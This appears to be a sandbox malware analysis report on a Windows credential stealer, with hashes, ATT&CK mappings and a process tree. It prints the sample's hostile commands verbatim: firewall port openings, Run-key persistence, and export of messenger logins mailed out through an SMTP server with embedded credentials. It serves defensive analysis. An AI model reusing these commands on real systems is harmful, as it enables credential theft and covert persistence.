ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8

Analysis

max time kernel
148s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 23:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8.exe
Size 862KB
Sample260925-3qtm3szalg
SHA256 ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8
MD5 fa41a3ca7b79d52f927a3be4b8e50338
SHA1 98087698378c41daded9f4d564f7521b41e5eb44
SHA512 a2d5331c9129128e02c2e5f0b97683ca1e0ac82fe0e7205e780a46632d879c302a8d742274eb5fb214b9b55deaf4f5030a79d496015fc493176f23948e0be72a
SSDEEP 12288:pc/joS6fqsRGcYKyuY9P2upxNXuEVHJaAhrGhI59BNSoSJyIoC3BNGZiAWB0sIh:EnvYg28PBhrGhIJeroC+tWasIh
TLSH
T14C15BF01BFC180B2E9A95A31197A6735E77AF9201B3088C773DC595A2F336D19D3938B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4636	netsh.exe
240	netsh.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5324	attrib.exe

Executes a file named after a Windows system binary 1 TTPs 2 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\6855.tmp\svchost.exe	jaffacakes118_ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\6855.tmp\svchost.exe	cmd.exe

Executes dropped EXE 9 IoCs

pid	Process
6064	svchost.exe
2484	svchost.exe
6096	ler.exe
5936	dan.exe
4712	blat.exe
3184	blat.exe
1860	Rar.exe
3408	blat.exe
3708	blat.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\windows.exe = " C:\\Windows\\system32\\draiver\\ler.exe"	reg.exe

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\draiver\blat.dll	cmd.exe
File opened for modification	C:\Windows\SysWOW64\draiver\dan.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\win\svchost.exe	attrib.exe
File opened for modification	C:\Windows\SysWOW64\draiver\1.txt	cmd.exe
File created	C:\Windows\SysWOW64\draiver\ler.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\draiver\ler.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\draiver\blat.dll	cmd.exe
File opened for modification	C:\Windows\SysWOW64\win\svchost.exe	cmd.exe
File created	C:\Windows\SysWOW64\draiver\1.txt	cmd.exe
File created	C:\Windows\SysWOW64\draiver\pass.rar	cmd.exe
File opened for modification	C:\Windows\SysWOW64\draiver\blat.lib	cmd.exe
File created	C:\Windows\SysWOW64\win\svchost.exe	cmd.exe
File created	C:\Windows\SysWOW64\draiver\blat.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\draiver\blat.exe	cmd.exe
File created	C:\Windows\SysWOW64\draiver\blat.lib	cmd.exe
File created	C:\Windows\SysWOW64\draiver\dan.exe	cmd.exe
File created	C:\Windows\SysWOW64\draiver\ip1.txt	cmd.exe
File opened for modification	C:\Windows\SysWOW64\draiver\pass.rar	cmd.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000e00000001c49d-23.dat	upx
behavioral2/files/0x000d00000001c4ad-27.dat	upx
behavioral2/memory/6096-34-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral2/memory/5936-37-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral2/memory/6096-60-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral2/memory/5936-62-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral2/memory/5936-70-0x0000000000400000-0x0000000000410000-memory.dmp	upx

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Rar.exe	cmd.exe
File opened for modification	C:\Windows\Rar.exe	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4756	cmd.exe
2144	cmd.exe
2480	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	blat.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	blat.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	blat.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	blat.exe

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	blat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dan.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	blat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	blat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	blat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2700	ipconfig.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
1548	taskkill.exe
5748	taskkill.exe
1420	taskkill.exe
3880	taskkill.exe
6032	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1224	reg.exe

Runs .reg file with regedit 3 IoCs

pid	Process
3908	regedit.exe
2544	regedit.exe
4572	regedit.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1548	taskkill.exe
Token: SeDebugPrivilege	5748	taskkill.exe
Token: SeDebugPrivilege	1420	taskkill.exe
Token: SeDebugPrivilege	3880	taskkill.exe
Token: SeDebugPrivilege	6032	taskkill.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 4264 wrote to memory of 4756	4264	jaffacakes118_ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8.exe	89
PID 4756 wrote to memory of 4636	4756	cmd.exe	91
PID 4756 wrote to memory of 240	4756	cmd.exe	92
PID 4756 wrote to memory of 236	4756	cmd.exe	93
PID 4756 wrote to memory of 4572	4756	cmd.exe	94
PID 4756 wrote to memory of 6064	4756	cmd.exe	95
PID 4756 wrote to memory of 2484	4756	cmd.exe	96
PID 4756 wrote to memory of 6096	4756	cmd.exe	97
PID 4756 wrote to memory of 5936	4756	cmd.exe	98
PID 6096 wrote to memory of 2144	6096	ler.exe	99
PID 5936 wrote to memory of 2480	5936	dan.exe	101
PID 2144 wrote to memory of 4712	2144	cmd.exe	103
PID 2144 wrote to memory of 2700	2144	cmd.exe	104
PID 2480 wrote to memory of 1548	2480	cmd.exe	105
PID 2144 wrote to memory of 1832	2144	cmd.exe	106
PID 2144 wrote to memory of 3184	2144	cmd.exe	107
PID 2480 wrote to memory of 5748	2480	cmd.exe	109
PID 2480 wrote to memory of 1420	2480	cmd.exe	110
PID 2480 wrote to memory of 3880	2480	cmd.exe	111
PID 2480 wrote to memory of 6032	2480	cmd.exe	112
PID 2480 wrote to memory of 5324	2480	cmd.exe	113
PID 2480 wrote to memory of 3908	2480	cmd.exe	114
PID 2480 wrote to memory of 2544	2480	cmd.exe	115
PID 2480 wrote to memory of 3456	2480	cmd.exe	116
PID 2480 wrote to memory of 3280	2480	cmd.exe	117
PID 2144 wrote to memory of 1224	2144	cmd.exe	118
PID 2480 wrote to memory of 1860	2480	cmd.exe	121
PID 2480 wrote to memory of 3408	2480	cmd.exe	122
PID 2480 wrote to memory of 3708	2480	cmd.exe	123

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
236	attrib.exe
5324	attrib.exe

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_ec328824b3428aaae4c9f040a0719df63288af559d3c99d5db06a78a3e9f9dc8.exe"
1⤵
- Executes a file named after a Windows system binary
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4264
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6855.tmp\install.bat" "
  2⤵
  - Executes a file named after a Windows system binary
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add portopening tcp 4899 win
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4636
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add portopening tcp 57011 system
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:240
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r "C:\Windows\system32\win\svchost.exe"
    3⤵
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:236
- - C:\Windows\SysWOW64\regedit.exe
    regedit /s raka.reg
    3⤵
    - System Location Discovery: System Language Discovery
    - Runs .reg file with regedit
    PID:4572
- - C:\Windows\SysWOW64\win\svchost.exe
    "C:\Windows\system32\win\svchost.exe" /install /silence
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6064
- - C:\Windows\SysWOW64\win\svchost.exe
    "C:\Windows\system32\win\svchost.exe" /start
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2484
- - C:\Windows\SysWOW64\draiver\ler.exe
    ler.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6096
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A4B2.tmp\ler.bat" "
      4⤵
      Drops file in System32 directory
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2144
    - - C:\Windows\SysWOW64\draiver\blat.exe
        
        "C:\Windows\system32\draiver\blat.exe" -install -server smtp.yandex.ru -port 587 -f [email protected] -u super.siteedit -pw 5255251
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4712
    - - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /all
        5⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:2700
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "IP" C:\Windows\system32\draiver\ip1.txt
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1832
    - - C:\Windows\SysWOW64\draiver\blat.exe
        
        "C:\Windows\system32\draiver\blat.exe" "C:\Windows\system32\draiver\1.txt" -to [email protected]
        5⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        System Location Discovery: System Language Discovery
        
        PID:3184
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "windows.exe" /t REG_SZ /d " C:\Windows\system32\draiver\ler.exe
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:1224
- - C:\Windows\SysWOW64\draiver\dan.exe
    dan.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5936
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A4D1.tmp\dan.bat" "
      4⤵
      Drops file in System32 directory
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2480
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im opera.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1548
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im firefox.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5748
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1420
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im iexplore.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3880
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im magent.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6032
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib C:\pass +h +s +a +r
        5⤵
        Sets file to hidden
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:5324
    - - C:\Windows\SysWOW64\regedit.exe
        
        regedit.exe -ea C:\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2
        5⤵
        System Location Discovery: System Language Discovery
        Runs .reg file with regedit
        
        PID:3908
    - - C:\Windows\SysWOW64\regedit.exe
        
        regedit.exe -ea C:\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3
        5⤵
        System Location Discovery: System Language Discovery
        Runs .reg file with regedit
        
        PID:2544
    - - C:\Windows\SysWOW64\xcopy.exe
        
        Xcopy Mra\Base C:\pass\MailAgent /K /H /G /Q /R /S /Y /E
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:3456
    - - C:\Windows\SysWOW64\xcopy.exe
        
        Xcopy Mra\Update\ver.txt C:\pass\MailAgent /K /H /G /Q /R /S /Y
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:3280
    - - C:\pass\Rar.exe
        
        C:\pass\rar.exe a -r C:\pass\pass.rar C:\pass\
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1860
    - - C:\Windows\SysWOW64\draiver\blat.exe
        
        blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u super.siteedit -pw 5255251
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3408
    - - C:\Windows\SysWOW64\draiver\blat.exe
        
        blat.exe -body Surpriz=) -to [email protected] -attach pass.rar
        5⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        System Location Discovery: System Language Discovery
        
        PID:3708

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Masquerading

T1036

Match Legitimate Name or Location

T1036.005

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Rar.exe

Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\Rar.exe
Size 368KB
SHA256 4c84ef94ac95976b5c048e517cabf67af6daf64a8711fb57a9129ef5f78d1154
MD5 540aa99c92b9c35679f40c4f121b1ed4
SHA1 b14fcd60d6347063d05594b03324567399bb5880
SHA512 11b2035bb0e9be80bbf4267bfca357aa73a820857f6d52e88f2b63ec8a910c93d20ad54a1dc24538ce4a441d097bb6059e983fb57d532cac2155fa58a4f89661
SSDEEP 6144:0foFhsRZQOomY802by4PlJqR9fXlKiE7ymaxNo6bKEVHCOPU+a/SG6Bhq:0fqsRGcYKyuY9P2upxNXuEVHJaAh
TLSH
T11B848D00BBD6C072E9AA3E7019BE67196A3EB500673085D773E81D5E5E637E09C3139B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blat.dll

Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\blat.dll
Size 120KB
SHA256 b87814eaf1cd5268e797f1119b58e3fd79381af3f530be9a90993198cbce1779
MD5 724cae63522f6e5f7565a3bf4b2a719b
SHA1 18620dbd4357d85918070f669ff4b61755290757
SHA512 af68749cadf9920a8bed455a2557b1faf475d30fdd62f45da6757fbc5a59341fffeccca4ff646b334da95cf673deeeea74bdbb27a16f510a4e3309055f89817d
SSDEEP 3072:tN3YqC7ZpufmsbSB0RaZCdLkMzdTv/3qq1iica:tN3Yq4ZpAPeB0fkMzgGHh
TLSH
T131C38E0B3E8404B9EADD883B25553730D3F9D4B85C214986F75C0A8A3F16896ED7E787
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blat.exe

Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\blat.exe
Size 112KB
SHA256 aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e
MD5 31f84e433e8d1865e322998a41e6d90e
SHA1 cbea6cda10db869636f57b1cffad39b22e6f7f17
SHA512 7ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9
SSDEEP 3072:ag5DTZCatGyIMzdze3BO+ggUFLVRM8uTv/3hH4:zDTZCatGyI+dze3BNgpVRM8+H
TLSH
T15AB36E533EC00CF2D59580376E147771E3B4E8380A228943B79D954B2F1B8A7DB5E69B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blat.lib

Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\blat.lib
Size 2KB
SHA256 b545194041588fc0a6f57e7eb5a93d2418aaa263d246e3c696a79ee5859770ff
MD5 3cd3cffda2b5108e2778f94429c624d6
SHA1 3e4d218d1b8eb4fa1ab5152b126951892aff3dc9
SHA512 c80080afcc982c4e950876756fb32c7f24fbe45bfbbe78afe144be1ede86dc9ef1e57db95d3df7f4c6011fd226f23684b929781b55d1be659cfa75d14f8d0c79
TLSH
T15641BC25AFA66A03C62EC63394419BCE275C305537A25D3B3F7C10B58BD22AED78101C
MD5 SHA1 SHA512 TLSH

Submit Download

dan.exe

Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\dan.exe
Size 21KB
SHA256 4b355dae427de687c413d78074af7ef8a225815f2912699024c76ad345fd60e8
MD5 488e14e49baebabe92c14b5abe5c64aa
SHA1 e273b6337fa3c2ec3bea5337c2b3fd77e2dd8306
SHA512 d32410accd4f6987e2bc8e5c8ae840df1af3a54d44b6667ec7a7b0e54f1e831fe6a8470642a7cc155fcfd8c1454de82884a807a8ac3853d0a0b8258f21ca913c
SSDEEP 384:LIiV728hUQ7Y2P/cVEccDdye7kjlWLe7grPiA8jyrMPhTjanbBoZ/HKfgaNJawcK:LRGuY2P0Vo6r7SiAwyrMRjbpAJnbcuy8
TLSH
T18EA2CF6FD1904A5DC6BE013289EF7F0EADC0E31DD5080899A6C8A5379846F942A4C5FA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

install.bat

Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\install.bat
Size 967B
SHA256 df9f5663abda0afbb76fb25f0b7f0725de8fc3293f48136eaefb15c8d30289ed
MD5 aec62f89e09d2e908372159bbe8298d3
SHA1 6e0283571ffa0a8e304124edf7312aa42e14ea8e
SHA512 503e532904291341b17c32029af51609afc5b31b2ef350da6a08fc0cf3425134eab11f6b385f3d229f8050869e1d89c0392e87c0494498e1d71c09d53fd6b7ad
TLSH
T1AF11CB6DC311C130B8883F5EB104B69BAA7AB15C91A4EA8448F270F6E54750CC3BAE76
MD5 SHA1 SHA512 TLSH

Submit Download

ler.exe

Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\ler.exe
Size 21KB
SHA256 18303f6ecf28f9cb90ce2f80f131d418b7ad46a12d0a9ba450a14bcd5475abb3
MD5 3458e1a1d229f81b9fe8d72f5f1e0750
SHA1 0626b5a4a9132734ceb7751ac867a445d7f03bbd
SHA512 1acb58953e972b2a375f46f92e7304de91ca6b05f875a3a963fe21c3715af21330021db39ad0fa2def41e275151581ae0ee8b99219b10bfcbc1989933b274250
SSDEEP 384:IIiV728hUQ7Y2P/cVEccDdye7kjlWLe7grPiA8jyrMPhTjanbBoZiYwaNJawcudi:IRGuY2P0Vo6r7SiAwyrMRjbVZnbcuyDY
TLSH
T1A0A2D06FD2C0465CC6AE117295EF7F1E9CC0E32ED5080589AAC8623BA842B95264D2F6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svchost.exe

Path C:\Users\Admin\AppData\Local\Temp\6855.tmp\svchost.exe
Size 180KB
SHA256 21fe5d2cf5bdce8f9d39475d40d6af47f5994ad4a8699aeeb8eacf831c2b66a5
MD5 c340be9c65e7764ddd9a95aa72f5e4ed
SHA1 ad0063ae4e9efcdd678c3669866b59fe280065a3
SHA512 ba1b62e6bc39aa8a686fbc467899b77961e04f76751f9beb2880c253432e7b58568a808208fafb519f89c72b049fea15a94d9d41c194bc6838763dc64d36ed23
SSDEEP 3072:9T+1rhOV6zroURlS/a1ed7UFGaGjDmj99lmkxw718f858qh/ziWM45TNCY:6h9zrN4UFGbjgfm8fq/uX45TNCY
TLSH
T18804E185A6C746BFEAFE693444BB5331DF317C5119748E876294FA2D1832290DF223CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ler.bat

Path C:\Users\Admin\AppData\Local\Temp\A4B2.tmp\ler.bat
Size 697B
SHA256 fa978dd31a95010e56f290dfb7bd3fb6e6c397629f515cb8b5f9acc74c7e4656
MD5 7102fac30e847ef8ac08ccca41530dfc
SHA1 ee766664e859768be9a3a92128c227a15deb4865
SHA512 84b547e68740997bad8524310612f1d8c327f2b87a8c39be8a6fbacdde7e88b34f8e35e94471765db9c455dd7e5669d99ec1a2b88e52448c0610821f9b201903
TLSH
T1E6012C2EE714C471F49C325EF105B6A22FBD73AE9258E20458F3B1E6E442409D7B5DB1
MD5 SHA1 SHA512 TLSH

Submit Download

dan.bat

Path C:\Users\Admin\AppData\Local\Temp\A4D1.tmp\dan.bat
Size 1KB
SHA256 73f268cfef793c66ff28335656b4058f790070ef452e14dc31b77b0e29c0f4d8
MD5 4e51fdf969b2a49016ce4144f8bce691
SHA1 0e328bafbc3474ee7cb9f03a1126ae8f12a8ef35
SHA512 44563e20e3ac0e199cb6da04bc13c1420bc0d2e3a2402ae4bad7f209fc5e4427d7d75d27352e55d44ec51b1f0d737244381cdbbebfbfcb0baa30fcdc17553810
TLSH
T14731AC0B6D8640A0874C1FE1E228548A99B1AC0D9C15D9D03775E3B2EA0082543FAEEE
MD5 SHA1 SHA512 TLSH

Submit Download

1.txt

Path C:\Windows\SysWOW64\draiver\1.txt
Size 225B
SHA256 8fe0a163f5baf9530ba97026de02614ba29290aefc3e1783559c76e1bf044397
MD5 f061bb6bed721dbba7b11decd89e334b
SHA1 e501be0693001b00ca6d63a24ef2437ad1f3ca80
SHA512 86f5ca31bb568804b94ba0c41af8be7104c305d327d3e276d8964c00a4fc8cc77ea69cea60ded416c7931cd7e517a4057e361772bd68fcd62c1dd521d10c385d
TLSH
T1DBD022E407C17852271A02336CAC6335A0988EA0082BD3967C4C10D468B032CABC4AD3
MD5 SHA1 SHA512 TLSH

